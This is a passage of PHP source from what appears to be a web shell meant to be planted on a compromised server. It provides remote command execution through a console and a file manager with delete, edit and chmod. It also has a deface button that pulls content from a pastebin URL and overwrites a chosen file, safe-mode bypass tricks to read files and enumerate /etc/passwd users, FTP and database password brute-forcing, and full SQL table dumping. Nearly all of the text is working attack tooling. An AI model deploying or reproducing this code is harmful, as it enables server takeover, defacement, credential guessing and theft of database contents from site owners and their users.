600 if ( (basename($item) == "..") || (basename($item) == ".") )
601 continue;
602 $type = filetype($item);
603 if ($type == "dir")
604 deleteDir($item);
605 else
606 @unlink($item);
607 }
608 closedir($dh);
609 rmdir($path);
610 }
611 if(is_array(@$_POST['f']))
612 foreach($_POST['f'] as $f) {
613 $f = urldecode($f);
614 if(is_dir($f))
615 deleteDir($f);
616 else
617 @unlink($f);
618 }
619 break;
620 case 'paste':
621 if($_SESSION['act'] == 'copy') {
622 function copy_paste($c,$s,$d){
623 if(is_dir($c.$s)){
624 mkdir($d.$s);
625 $h = opendir($c.$s);
626 while (($f = readdir($h)) !== false)
627 if (($f != ".") and ($f != "..")) {
628 copy_paste($c.$s.'/',$f, $d.$s.'/');
629 }
630 } elseif(is_file($c.$s)) {
631 @copy($c.$s, $d.$s);
632 }
633 }
634 foreach($_SESSION['f'] as $f)
635 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
636 } elseif($_SESSION['act'] == 'move') {
637 function move_paste($c,$s,$d){
638 if(is_dir($c.$s)){
639 mkdir($d.$s);
640 $h = opendir($c.$s);
641 while (($f = readdir($h)) !== false)
642 if (($f != ".") and ($f != "..")) {
643 copy_paste($c.$s.'/',$f, $d.$s.'/');
644 }
645 } elseif(is_file($c.$s)) {
646 @copy($c.$s, $d.$s);
647 }
648 }
649 foreach($_SESSION['f'] as $f)
650 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
651 }
652 unset($_SESSION['f']);
653 break;
654 default:
655 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
656 $_SESSION['act'] = @$_POST['p1'];
657 $_SESSION['f'] = @$_POST['f'];
658 foreach($_SESSION['f'] as $k => $f)
659 $_SESSION['f'][$k] = urldecode($f);
660 $_SESSION['cwd'] = @$_POST['c'];
661 }
662 break;
663 }
664 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
665 }
666 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
667 $def = file_get_contents('http://pastebin.com/download.php?i=Q72TEV9B');
668 file_put_contents($_POST['c'].$_POST['p2'],$def);
669 }
670 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
671 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
672 global $sort;
673 $sort = array('name', 1);
674 if(!empty($_POST['p1'])) {
675 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
676 $sort = array($match[1], (int)$match[2]);
677 }
678 echo '<script>
679 function sa() {
680 for(i=0;i<document.files.elements.length;i++)
681 if(document.files.elements[i].type == \'checkbox\')
682 document.files.elements[i].checked = document.files.elements[0].checked;
683 }
684 </script>
685 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
686 <form name=files method=post>';
687 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
688 $dirs = $files = $links = array();
689 $n = count($dirContent);
690 for($i=0;$i<$n;$i++) {
691 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
692 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
693 $tmp = array('name' => $dirContent[$i],
694 'path' => $GLOBALS['cwd'].$dirContent[$i],
695 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
696 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
697 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
698 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
699 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
700 );
701 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
702 $files[] = array_merge($tmp, array('type' => 'file'));
703 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
704 $links[] = array_merge($tmp, array('type' => 'link'));
705 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
706 $dirs[] = array_merge($tmp, array('type' => 'dir'));
707 }
708 $GLOBALS['sort'] = $sort;
709 function cmp($a, $b) {
710 if($GLOBALS['sort'][0] != 'size')
711 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
712 else
713 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
714 }
715 usort($files, "cmp");
716 usort($dirs, "cmp");
717 usort($links, "cmp");
718 $files = array_merge($dirs, $links, $files);
719 $l = 0;
720 foreach($files as $f) {
721 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
722 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
723 $l = $l?0:1;
724 }
725 echo '<tr><td colspan=5>
726 <input type=hidden name=a value=\'FilesMan\'>
727 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
728 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
729 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
730 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
731 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
732 </form></table></div>';
733 printFooter();
734}
735function actionStringTools() {
736 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
737 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
738 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
739 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
740
741 if(isset($_POST['ajax'])) {
742 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
743 ob_start();
744 if(function_exists($_POST['p1']))
745 echo $_POST['p1']($_POST['p2']);
746 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
747\
748\t\\'\0")."';\
749";
750 echo strlen($temp), "\
751", $temp;
752 exit;
753 }
754 printHeader();
755 echo '<h1>String Converter</h1><div class=content>';
756 $stringTools = array(
757 'Base64 encode' => 'base64_encode',
758 'Base64 decode' => 'base64_decode',
759 'Url encode' => 'urlencode',
760 'Url decode' => 'urldecode',
761 'Full urlencode' => 'full_urlencode',
762 'md5 hash' => 'md5',
763 'sha1 hash' => 'sha1',
764 'crypt' => 'crypt',
765 'CRC32' => 'crc32',
766 'ASCII to HEX' => 'ascii2hex',
767 'HEX to ASCII' => 'hex2ascii',
768 'HEX to DEC' => 'hexdec',
769 'HEX to BIN' => 'hex2bin',
770 'DEC to HEX' => 'dechex',
771 'DEC to BIN' => 'decbin',
772 'BIN to HEX' => 'bin2hex',
773 'BIN to DEC' => 'bindec',
774 'String to lower case' => 'strtolower',
775 'String to upper case' => 'strtoupper',
776 'Htmlspecialchars' => 'htmlspecialchars',
777 'String length' => 'strlen',
778 );
779 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
780 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
781 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
782 foreach($stringTools as $k => $v)
783 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
784 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
785 if(!empty($_POST['p1'])) {
786 if(function_exists($_POST['p1']))
787 echo htmlspecialchars($_POST['p1']($_POST['p2']));
788 }
789 echo"</pre></div>";
790 printFooter();
791}
792
793function actionFilesTools() {
794 if( isset($_POST['p1']) )
795 $_POST['p1'] = urldecode($_POST['p1']);
796 if(@$_POST['p2']=='download') {
797 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
798 ob_start("ob_gzhandler", 4096);
799 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
800 if (function_exists("mime_content_type")) {
801 $type = @mime_content_type($_POST['p1']);
802 header("Content-Type: ".$type);
803 }
804 $fp = @fopen($_POST['p1'], "r");
805 if($fp) {
806 while(!@feof($fp))
807 echo @fread($fp, 1024);
808 fclose($fp);
809 }
810 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
811
812 }
813 exit;
814 }
815 if( @$_POST['p2'] == 'mkfile' ) {
816 if(!file_exists($_POST['p1'])) {
817 $fp = @fopen($_POST['p1'], 'w');
818 if($fp) {
819 $_POST['p2'] = "edit";
820 fclose($fp);
821 }
822 }
823 }
824 printHeader();
825 echo '<h1>File tools</h1><div class=content>';
826 if( !file_exists(@$_POST['p1']) ) {
827 echo 'File not exists';
828 printFooter();
829 return;
830 }
831 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
832 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
833 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
834 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
835 if( empty($_POST['p2']) )
836 $_POST['p2'] = 'view';
837 if( is_file($_POST['p1']) )
838 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
839 else
840 $m = array('Chmod', 'Rename', 'Touch');
841 foreach($m as $v)
842 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
843 echo '<br><br>';
844 switch($_POST['p2']) {
845 case 'view':
846 echo '<pre class=ml1>';
847 $fp = @fopen($_POST['p1'], 'r');
848 if($fp) {
849 while( !@feof($fp) )
850 echo htmlspecialchars(@fread($fp, 1024));
851 @fclose($fp);
852 }
853 echo '</pre>';
854 break;
855 case 'highlight':
856 if( is_readable($_POST['p1']) ) {
857 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
858 $code = highlight_file($_POST['p1'],true);
859 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
860 }
861 break;
862 case 'chmod':
863 if( !empty($_POST['p3']) ) {
864 $perms = 0;
865 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
866 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
867 if(!@chmod($_POST['p1'], $perms))
868 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
869 else
870 die('<script>g(null,null,null,null,"")</script>');
871 }
872 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
873 break;
874 case 'edit':
875 if( !is_writable($_POST['p1'])) {
876 echo 'File isn\'t writeable';
877 break;
878 }
879 if( !empty($_POST['p3']) ) {
880 @file_put_contents($_POST['p1'],$_POST['p3']);
881 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
882 }
883 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
884 $fp = @fopen($_POST['p1'], 'r');
885 if($fp) {
886 while( !@feof($fp) )
887 echo htmlspecialchars(@fread($fp, 1024));
888 @fclose($fp);
889 }
890 echo '</textarea><input type=submit value=">>"></form>';
891 break;
892 case 'hexdump':
893 $c = @file_get_contents($_POST['p1']);
894 $n = 0;
895 $h = array('00000000<br>','','');
896 $len = strlen($c);
897 for ($i=0; $i<$len; ++$i) {
898 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
899 switch ( ord($c[$i]) ) {
900 case 0: $h[2] .= ' '; break;
901 case 9: $h[2] .= ' '; break;
902 case 10: $h[2] .= ' '; break;
903 case 13: $h[2] .= ' '; break;
904 default: $h[2] .= $c[$i]; break;
905 }
906 $n++;
907 if ($n == 32) {
908 $n = 0;
909 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
910 $h[1] .= '<br>';
911 $h[2] .= "\
912";
913 }
914 }
915 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000000><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#000000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
916 break;
917 case 'rename':
918 if( !empty($_POST['p3']) ) {
919 if(!@rename($_POST['p1'], $_POST['p3']))
920 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
921 else
922 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
923 }
924 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
925 break;
926 case 'touch':
927 if( !empty($_POST['p3']) ) {
928 $time = strtotime($_POST['p3']);
929 if($time) {
930 if(@touch($_POST['p1'],$time,$time))
931 die('<script>g(null,null,null,null,"")</script>');
932 else {
933 echo 'Fail!<script>document.mf.p3.value="";</script>';
934 }
935 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
936 }
937 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
938 break;
939 case 'mkfile':
940
941 break;
942 }
943 echo '</div>';
944 printFooter();
945}
946
947function actionSafeMode() {
948 $temp='';
949 ob_start();
950 switch($_POST['p1']) {
951 case 1:
952 $temp=@tempnam($test, 'cx');
953 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
954 echo @file_get_contents($temp);
955 unlink($temp);
956 } else
957 echo 'Sorry... Can\'t open file';
958 break;
959 case 2:
960 $files = glob($_POST['p2'].'*');
961 if( is_array($files) )
962 foreach ($files as $filename)
963 echo $filename."\
964";
965 break;
966 case 3:
967 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
968 curl_exec($ch);
969 break;
970 case 4:
971 ini_restore("safe_mode");
972 ini_restore("open_basedir");
973 include($_POST['p2']);
974 break;
975 case 5:
976 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
977 $uid = @posix_getpwuid($_POST['p2']);
978 if ($uid)
979 echo join(':',$uid)."\
980";
981 }
982 break;
983 case 6:
984 if(!function_exists('imap_open'))break;
985 $stream = imap_open($_POST['p2'], "", "");
986 if ($stream == FALSE)
987 break;
988 echo imap_body($stream, 1);
989 imap_close($stream);
990 break;
991 }
992 $temp = ob_get_clean();
993 printHeader();
994 echo '<h1>ByPass Safe Mode !</h1><div class=content>';
995 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
996 if($temp)
997 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
998 echo '</div>';
999 printFooter();
1000}
1001
1002function actionConsole() {
1003 if(isset($_POST['ajax'])) {
1004 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1005 ob_start();
1006 echo "document.cf.cmd.value='';\
1007";
1008 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\
1009$ ".$_POST['p1']."\
1010".ex($_POST['p1']),"\
1011\
1012\t\\'\0"));
1013 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1014 if(@chdir($match[1])) {
1015 $GLOBALS['cwd'] = @getcwd();
1016 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1017 }
1018 }
1019 echo "document.cf.output.value+='".$temp."';";
1020 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1021 $temp = ob_get_clean();
1022 echo strlen($temp), "\
1023", $temp;
1024 exit;
1025 }
1026 printHeader();
1027
1028echo '<script>
1029if(window.Event) window.captureEvents(Event.KEYDOWN);
1030var cmds = new Array("");
1031var cur = 0;
1032function kp(e) {
1033 var n = (window.Event) ? e.which : e.keyCode;
1034 if(n == 38) {
1035 cur--;
1036 if(cur>=0)
1037 document.cf.cmd.value = cmds[cur];
1038 else
1039 cur++;
1040 } else if(n == 40) {
1041 cur++;
1042 if(cur < cmds.length)
1043 document.cf.cmd.value = cmds[cur];
1044 else
1045 cur--;
1046 }
1047}
1048function add(cmd) {
1049 cmds.pop();
1050 cmds.push(cmd);
1051 cmds.push("");
1052 cur = cmds.length-1;
1053}
1054</script>';
1055 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1056 foreach($GLOBALS['aliases'] as $n => $v) {
1057 if($v == '') {
1058 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1059 continue;
1060 }
1061 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1062 }
1063 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1064 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1065 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1066 if(!empty($_POST['p1'])) {
1067 echo htmlspecialchars("$ ".$_POST['p1']."\
1068".ex($_POST['p1']));
1069 }
1070 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1071 echo '</form></div><script>document.cf.cmd.focus();</script>';
1072 printFooter();
1073}
1074
1075function actionLogout() {
1076 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1077 echo '<body bgcolor=#000000><center><img src="http://i.imgur.com/CesSFnl.gif"></center></body>';
1078}
1079
1080function actionSelfRemove() {
1081 printHeader();
1082 if($_POST['p1'] == 'yes') {
1083 if(@unlink(SELF_PATH))
1084 die('Thank You For Your Hospitality!!');
1085 else
1086 echo 'unlink error!';
1087 }
1088 echo '<h1>Suicide</h1><div class=content>You really want to remove me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1089 printFooter();
1090}
1091
1092function actionBruteforce() {
1093 printHeader();
1094 if( isset($_POST['proto']) ) {
1095 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1096 if( $_POST['proto'] == 'ftp' ) {
1097 function bruteForce($ip,$port,$login,$pass) {
1098 $fp = @ftp_connect($ip, $port?$port:21);
1099 if(!$fp) return false;
1100 $res = @ftp_login($fp, $login, $pass);
1101 @ftp_close($fp);
1102 return $res;
1103 }
1104 } elseif( $_POST['proto'] == 'mysql' ) {
1105 function bruteForce($ip,$port,$login,$pass) {
1106 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1107 @mysql_close($res);
1108 return $res;
1109 }
1110 } elseif( $_POST['proto'] == 'pgsql' ) {
1111 function bruteForce($ip,$port,$login,$pass) {
1112 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1113 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1114 @pg_close($res);
1115 return $res;
1116 }
1117 }
1118 $success = 0;
1119 $attempts = 0;
1120 $server = explode(":", $_POST['server']);
1121 if($_POST['type'] == 1) {
1122 $temp = @file('/etc/passwd');
1123 if( is_array($temp) )
1124 foreach($temp as $line) {
1125 $line = explode(":", $line);
1126 ++$attempts;
1127 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1128 $success++;
1129 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1130 }
1131 if(@$_POST['reverse']) {
1132 $tmp = "";
1133 for($i=strlen($line[0])-1; $i>=0; --$i)
1134 $tmp .= $line[0][$i];
1135 ++$attempts;
1136 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1137 $success++;
1138 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1139 }
1140 }
1141 }
1142 } elseif($_POST['type'] == 2) {
1143 $temp = @file($_POST['dict']);
1144 if( is_array($temp) )
1145 foreach($temp as $line) {
1146 $line = trim($line);
1147 ++$attempts;
1148 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1149 $success++;
1150 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1151 }
1152 }
1153 }
1154 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1155 }
1156 echo '<h1>FTP BruteForce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1157 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1158 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1159 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1160 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1161 .'<span>Server:Port</span></td>'
1162 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1163 .'<tr><td><span>Brute type</span></td>'
1164 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1165 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1166 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1167 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1168 .'<td><input type=text name=login value="Spades"></td></tr>'
1169 .'<tr><td><span>Dictionary</span></td>'
1170 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1171 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1172 echo '</div><br>';
1173 printFooter();
1174}
1175
1176function actionSql() {
1177 class DbClass {
1178 var $type;
1179 var $link;
1180 var $res;
1181 function DbClass($type) {
1182 $this->type = $type;
1183 }
1184 function connect($host, $user, $pass, $dbname){
1185 switch($this->type) {
1186 case 'mysql':
1187 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1188 break;
1189 case 'pgsql':
1190 $host = explode(':', $host);
1191 if(!$host[1]) $host[1]=5432;
1192 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1193 break;
1194 }
1195 return false;
1196 }
1197 function selectdb($db) {
1198 switch($this->type) {
1199 case 'mysql':
1200 if (@mysql_select_db($db))return true;
1201 break;
1202 }
1203 return false;
1204 }
1205 function query($str) {
1206 switch($this->type) {
1207 case 'mysql':
1208 return $this->res = @mysql_query($str);
1209 break;
1210 case 'pgsql':
1211 return $this->res = @pg_query($this->link,$str);
1212 break;
1213 }
1214 return false;
1215 }
1216 function fetch() {
1217 $res = func_num_args()?func_get_arg(0):$this->res;
1218 switch($this->type) {
1219 case 'mysql':
1220 return @mysql_fetch_assoc($res);
1221 break;
1222 case 'pgsql':
1223 return @pg_fetch_assoc($res);
1224 break;
1225 }
1226 return false;
1227 }
1228 function listDbs() {
1229 switch($this->type) {
1230 case 'mysql':
1231 return $this->res = @mysql_list_dbs($this->link);
1232 break;
1233 case 'pgsql':
1234 return $this->res = $this->query("SELECT datname FROM pg_database");
1235 break;
1236 }
1237 return false;
1238 }
1239 function listTables() {
1240 switch($this->type) {
1241 case 'mysql':
1242 return $this->res = $this->query('SHOW TABLES');
1243 break;
1244 case 'pgsql':
1245 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1246 break;
1247 }
1248 return false;
1249 }
1250 function error() {
1251 switch($this->type) {
1252 case 'mysql':
1253 return @mysql_error($this->link);
1254 break;
1255 case 'pgsql':
1256 return @pg_last_error($this->link);
1257 break;
1258 }
1259 return false;
1260 }
1261 function setCharset($str) {
1262 switch($this->type) {
1263 case 'mysql':
1264 if(function_exists('mysql_set_charset'))
1265 return @mysql_set_charset($str, $this->link);
1266 else
1267 $this->query('SET CHARSET '.$str);
1268 break;
1269 case 'mysql':
1270 return @pg_set_client_encoding($this->link, $str);
1271 break;
1272 }
1273 return false;
1274 }
1275 function dump($table) {
1276 switch($this->type) {
1277 case 'mysql':
1278 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1279 $create = mysql_fetch_array($res);
1280 echo $create[1].";\
1281\
1282";
1283 $this->query('SELECT * FROM `'.$table.'`');
1284 while($item = $this->fetch()) {
1285 $columns = array();
1286 foreach($item as $k=>$v) {
1287 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1288 $columns[] = "`".$k."`";
1289 }
1290 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
1291";
1292 }
1293 break;
1294 case 'pgsql':
1295 $this->query('SELECT * FROM '.$table);
1296 while($item = $this->fetch()) {
1297 $columns = array();
1298 foreach($item as $k=>$v) {
1299 $item[$k] = "'".addslashes($v)."'";
1300 $columns[] = $k;
1301 }
1302 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
1303";
1304 }
1305 break;
1306 }
1307 return false;
1308 }
1309 };
1310 $db = new DbClass(@$_POST['type']);
1311 if(@$_POST['p2']=='download') {
1312 ob_start("ob_gzhandler", 4096);
1313 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1314 $db->selectdb($_POST['sql_base']);
1315 header("Content-Disposition: attachment; filename=dump.sql");
1316 header("Content-Type: text/plain");
1317 foreach($_POST['tbl'] as $v)
1318 $db->dump($v);
1319 exit;
1320 }
1321 printHeader();
1322 echo '<h1>SQL Browser</h1><div class=content>
1323 <form name="sf" method="post">
1324 <table cellpadding="2" cellspacing="0">
1325 <tr>
1326 <td>Type</td>
1327 <td>Host</td>
